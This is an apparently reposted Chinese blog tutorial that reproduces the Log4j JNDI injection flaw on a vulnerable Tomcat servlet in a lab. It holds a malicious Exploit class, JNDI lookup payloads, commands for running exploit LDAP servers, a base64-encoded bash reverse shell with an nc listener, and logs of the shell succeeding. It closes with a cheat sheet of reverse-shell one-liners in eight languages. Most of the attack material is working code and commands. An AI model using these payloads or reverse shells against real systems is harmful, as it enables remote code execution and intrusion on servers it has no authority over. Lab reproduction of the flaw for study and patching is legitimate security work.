log4j反序列化漏洞详解及利用

Posted CSDN阿坤

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j反序列化漏洞详解及利用相关的知识,希望对你有一定的参考价值。

一、知识点分析

1.什么是log4j?与log4j2关系?
  log4j是apache著名的开源日志框架,log4j是log4j2的前身。
2.JNDI是什么?
  JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
3.LDAP与RMI关系?
  LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP,/ˈɛldæp/)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
  RMI(Remote Method Invocation,远程方法调用)是Java的一组拥护开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议(Java Remote Method Protocol)。

二、环境及安装包(Linux复现包)

JDK环境:linux-JDK【w186】
1台windows:模仿client客户端发送post请求
1台project机:部署带有漏洞Tmocat项目【r7q1】
1台hacker机:控制台命令输入/输出【vj8a】
1台公网VPS(Virtual Private Server 虚拟专用服务器)attack机:部署LDAP服务【pn9x】
(注:三者需要满足互相可以访问即可)

三、Windows复现(课件关注博主留言即可获得)

  windows复现实现起来很简单:用到了jdk、ider、log4j项目就可以了,项目整体结构如图:

Exploit文件(恶意类):

import java.io.IOException;

public class Exploit 
    static 
        try 
// windows执行cmd命令,calc为计算机,也可以改成任意你想执行的命令,例:mstsc远程窗口
           Runtime.getRuntime().exec("calc");
         catch (IOException e) 
            e.printStackTrace();
        
    

1.将恶意代码封装成class类文件:
在下方Terminal终端输入 javac Exploit.java 回车即可生产class文件,如图

2.将生成的Exploit.class文件上传到tomcat服务目录下

查看路径
[root@bogon webapps]# pwd
/srv/apache-tomcat-9.0.40/webapps
附加执行权限
[root@bogon webapps]# chmod +x Exploit.class 
[root@bogon webapps]# ls
apsm  apsm20211122  apsm.war  apsm.war_20211122  apsm.war_20211208  apsm.war_20211209  apsm.war20211210  examples  Exploit.class  host-manager  manager  ROOT  sV06sQf7Ol.txt
[root@bogon webapps]# 

确保tomcat可以访问:

3.在LDAP服务中写入tomcat地址并下载Exploit.class恶意类文件

...
//引号修改成自己tomcat地址后追加要拿的class文件即可
private static final String EXPLOIT_CLASS_URL = "http://192.168.200.53:3001/#Exploit";
...

为了避免本地端口冲突LADP端口我改成了7912

4.Log4J.java内容

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4J 
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) 
//logger写入jndi引用ldap文件传输地址下载class恶意类,csdnak随意写的
        logger.error("$jndi:ldap://127.0.0.1:7912/csdnak");
    



5.启动实验
依次运行LDAP服务:

运行Log4J服务:

运行结果:

  可以看到复现成功,左侧target子目录classes下出现Exploit文件,下方也可以看到ldap服务去tomcat项目下载本地并执行了该文件。

四、Linux复现

方法一:
1.project机操作:
可以通过docker直接拉取,也可去上方下载docker容器tar包导入

 [root@bogon ~]# docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
 [root@bogon ~]# docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
 [root@bogon ~]# docker exec -it log4j_vuln_container /bin/bash
 [root@a58a9ce2ef50 ansible]# /home/apache-tomcat-8.5.45/bin/startup.sh 
Using CATALINA_BASE:   /home/apache-tomcat-8.5.45
Using CATALINA_HOME:   /home/apache-tomcat-8.5.45
Using CATALINA_TMPDIR: /home/apache-tomcat-8.5.45/temp
Using JRE_HOME:        /usr/local/jdk1.8.0_144/
Using CLASSPATH:       /home/apache-tomcat-8.5.45/bin/bootstrap.jar:/home/apache-tomcat-8.5.45/bin/tomcat-juli.jar
Tomcat started.
[root@a58a9ce2ef50 ansible]# cd /home/apache-tomcat-8.5.45/logs/
[root@a58a9ce2ef50 logs]# tail -f catalina.out

测试访问:http://192.168.200.37:8080/webstudy/hello-fengxuan
(注:此项目c参数作为log4j漏洞):

package com.evalshell.webstudy;

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

@WebServlet(
    name = "helloServlet",
    value = "/hello-fengxuan"
)
public class HelloServlet extends HttpServlet 
    private String message;
    private static final Logger logger = LogManager.getLogger(HelloServlet.class);

    public HelloServlet() 
    

    public void init() 
        this.message = "Hello World!";
    

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException 
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        System.out.println(request.getQueryString());
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<span>你好,兄弟,请用post请求来搞我!</span>");
        out.println("</body></html>");
    

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
    //payload参数c接口
        String name = req.getParameter("c");
        System.out.println(name);
        logger.error(name);
        resp.setContentType("text/html");
        resp.setHeader("Content-Type", "text/html; charset=utf-8");
        PrintWriter out = resp.getWriter();
        out.println("<html><body>");
        out.println("<h1>可恶!又被你装到了!</h1>");
        out.println("</body></html>");
    

    public void destroy() 
    

2.公网VPS(Virtual Private Server 虚拟专用服务器)attack机操作:

[root@csdn-ak ldap]# ls
JNDIExploit-1.2-SNAPSHOT.jar  lib
[root@csdn-ak ldap]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1


3.hacker机操作:

[root@node-3 ~]# yum -y install nc
已加载插件:fastestmirror, product-id, search-disabled-repos, subscription-manager

This system is not registered with an entitlement server. You can use subscription-manager to register.

Loading mirror speeds from cached hostfile
 * base: mirror.lzu.edu.cn
 * epel: mirror.earthlink.iq
 * extras: mirrors.bupt.edu.cn
 * updates: mirrors.tuna.tsinghua.edu.cn
正在解决依赖关系
--> 正在检查事务
---> 软件包 nmap-ncat.x86_64.2.6.40-19.el7 将被 安装
--> 正在处理依赖关系 libpcap.so.1()(64bit),它被软件包 2:nmap-ncat-6.40-19.el7.x86_64 需要
--> 正在检查事务
---> 软件包 libpcap.x86_64.14.1.5.3-12.el7 将被 安装
--> 解决依赖关系完成

依赖关系解决

========================================================================================================
 Package                 架构                 版本                             源                  大小
========================================================================================================
正在安装:
 nmap-ncat               x86_64               2:6.40-19.el7                    base               206 k
为依赖而安装:
 libpcap                 x86_64               14:1.5.3-12.el7                  base               139 k

事务概要
========================================================================================================
安装  1 软件包 (+1 依赖软件包)

总下载量:345 k
安装大小:740 k
Downloading packages:
(1/2): libpcap-1.5.3-12.el7.x86_64.rpm                                           | 139 kB  00:00:00     
(2/2): nmap-ncat-6.40-19.el7.x86_64.rpm                                          | 206 kB  00:00:00     
--------------------------------------------------------------------------------------------------------
总计                                                                    2.6 MB/s | 345 kB  00:00:00     
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  正在安装    : 14:libpcap-1.5.3-12.el7.x86_64                                                      1/2 
  正在安装    : 2:nmap-ncat-6.40-19.el7.x86_64                                                      2/2 
  验证中      : 2:nmap-ncat-6.40-19.el7.x86_64                                                      1/2 
  验证中      : 14:libpcap-1.5.3-12.el7.x86_64                                                      2/2 

已安装:
  nmap-ncat.x86_64 2:6.40-19.el7                                                                        

作为依赖被安装:
  libpcap.x86_64 14:1.5.3-12.el7                                                                        

完毕!
[root@node-3 ~]# nc -lvp 869

输入 nc -lvp 869监听本地869端口,如图

4.windows机操作:
将你需要执行的shell命令base64加密这里以反弹shell为例
利用postman接口测试软件发起请求
key值为c(前面提到过,c为payload参数)
value:(xx.xx.xx.xx写你自己的公网vps服务ip)
$jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/base64/YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjIyMy84NjkgMD4mMQ==

点击send发送即可

5.测试结果查询
project机查看catlina.out日志输出

公网vps机ladp服务监听日志与attack解析一目了然

hacker机反弹shell回显成功


方法二:
考虑公网服务安全,临时换城内网服务器继续(根据自己jdk版本选择对应payload)

[root@bogon ldap]java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==|base64,-d|bash,-i" -A 192.168.200.37

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar此包顶部链接可以下载。

我jdk版本是1.8的所以payload为:ldap://192.168.200.37:1389/use1zw
因此postman的value参数为: $jndi:ldap://192.168.200.37:1389/use1zw

点击send发送,下图可以看到容器内tomcat日志logger已经从漏洞参数c获取并打印日志,因此容易中的java执行jdin命令从远程服务器ldap上获取恶意类文件下载到本地,并执行类文件中包含的反弹shell命令。

(注:一台project机就可以实现所有功能,只是变成了本地测试,但并不影响实验过程以及结论)
结合代码解析

...
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
    //漏洞参数c接收到post的恶意请求
        String name = req.getParameter("c");
        System.out.println(name);
    //logger会将c参数内容在后台日志打印,也是此项目漏洞出处
        logger.error(name);
        resp.setContentType("text/html");
        resp.setHeader("Content-Type", "text/html; charset=utf-8");
        PrintWriter out = resp.getWriter();
        out.println("<html><body>");
        out.println("<h1>可恶!又被你装到了!</h1>");
        out.println("</body></html>");
    
...

容器中通过tail实时监控tomcat日志输出

[root@a58a9ce2ef50 logs]# tail -f catalina.out 
#通过日志可以看到反弹shell已经通过jndi成功注入打印并执行
...
 $jndi:ldap://192.168.200.37:1389/use1zw

08:09:40.519 [http-nio-8080-exec-10] ERROR com.evalshell.webstudy.HelloServlet -  $jndi:ldap://192.168.200.37:1389/use1zw
...

LDAP服务日志输出

#LDAP服务启动后其中的反弹Shell命令就已经被打爆成class恶意类文件
[ADDRESS] >> 192.168.200.37          #LDAP服务ip
[COMMAND] >> bash -c echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==|base64,-d|bash,-i	#class类文件反弹shell内容
----------------------------JNDI Links---------------------------- 
#根据自身jdk版本选择对应的payload
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/vhb7bd
ldap://192.168.200.37:1389/vhb7bd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/use1zw
#我的环境jdk是1.8的并且我习惯用ldap文件传输服务作为接口,所以选择这条payload
ldap://192.168.200.37:1389/use1zw
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.200.37:1099/tkaovn

#可以看出jndi通过ldap文件传输协议成功获取恶意类ExecTemplateJDK8.class文件
----------------------------Server Log----------------------------
#LDAP发送一个编号为 use1zw请求的文件
2021-12-20 16:09:40 [LDAPSERVER] >> Send LDAP reference result for use1zw redirecting to http://192.168.200.37:8180/ExecTemplateJDK8.class
2021-12-20 16:09:40 [JETTYSERVER]>> Log a request to http://192.168.200.37:8180/ExecTemplateJDK8.class

彩蛋

送给热爱hacker技术的你8种反弹shell语言

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");;'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()

#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

后续将为大家带来扫描log4j漏洞程序,欢迎大家订阅!

以上是关于log4j反序列化漏洞详解及利用的主要内容,如果未能解决你的问题,请参考以下文章

log4j反序列化漏洞分析

Log4j反序列化远程代码执行漏洞(CVE-2019-17571)

Log4j最新高危漏洞

漏洞情报 | Apache Log4j SocketServer反序列化漏洞(哨兵云支持检测)

深入理解PHP Phar反序列化漏洞原理及利用方法

反序列化漏洞详解